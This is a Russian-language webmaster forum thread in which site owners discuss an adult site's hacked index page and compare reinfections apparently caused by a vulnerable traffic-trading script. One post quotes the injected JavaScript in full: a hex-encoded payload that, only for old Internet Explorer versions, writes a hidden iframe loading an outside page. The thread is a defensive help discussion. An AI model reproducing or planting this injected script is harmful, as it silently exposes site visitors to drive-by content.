Новая тема   Ответить

 mickey
каспер показывает Trojan-Clicker.HTML.IFrame.lz
нод ничего не показывает

randomhentai.com

вот это в индексе
<script> var s='3C696672616D65207372633D22687474703A2F2F7777772E766964736E69636865732E636F6D2F746F702F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</script> <center>

кто-то с нодом, может посмотреть еще?

 EagleOwl
Сломали скорее всего, надо овнеру сообщить.

 mickey
сказал ему. снял троя, сейчас ковыряет.
опять через ат ломали

 Ronn
таже самая беда. переехал на новый сервер, через сутки повесили Trojan-Clicker.HTML.IFrame.lz. пишет в темплейт туже гадость. и в корневой директории появляется пустой файл sync.php
файл удаляю, темплейт исправляю, все хорошо, только через 5 минут все по новой. и права менял на темплейт, но через 5 минут, они теже. админ ничего путевого сказать не может, типа мои проблемы, он не разбирается.
Как у тебя админ справился с этой заразой?
или кто еще с этой гадостью сталкивался? прошу помощи.

 Project
Посмотрите тут про АТ и про способы борьбы с этой заразой:
Попытки залогинитьcя в АТЛ под user/pass
Вниманию тех кто юзает ATL3! - серьезная уязвимость!
Атл 17 билд

Все очень популярно и доходчиво расписано.

 Ronn
Project, большое спасибо, до этого искал что нибудь по теме, не нашел...

 mickey
Ronn меня не ломали, я АТ не использую

 Ronn
sawm писал:
я уже тоже

 shamit
у меня на сидже тоже такая херь была...
этот троян делает копии себя в файлах template в st, также в протоне
смотри файл synch.php чтото типо этого

 mickey
Ronn писал:
на что перешел? : )

 Ronn
sawm писал:
пока ftt пробую

 mickey
Ronn писал:
не пожалееш ;)
если есть хентаи трафф стучи 3-пять-2,403,4,61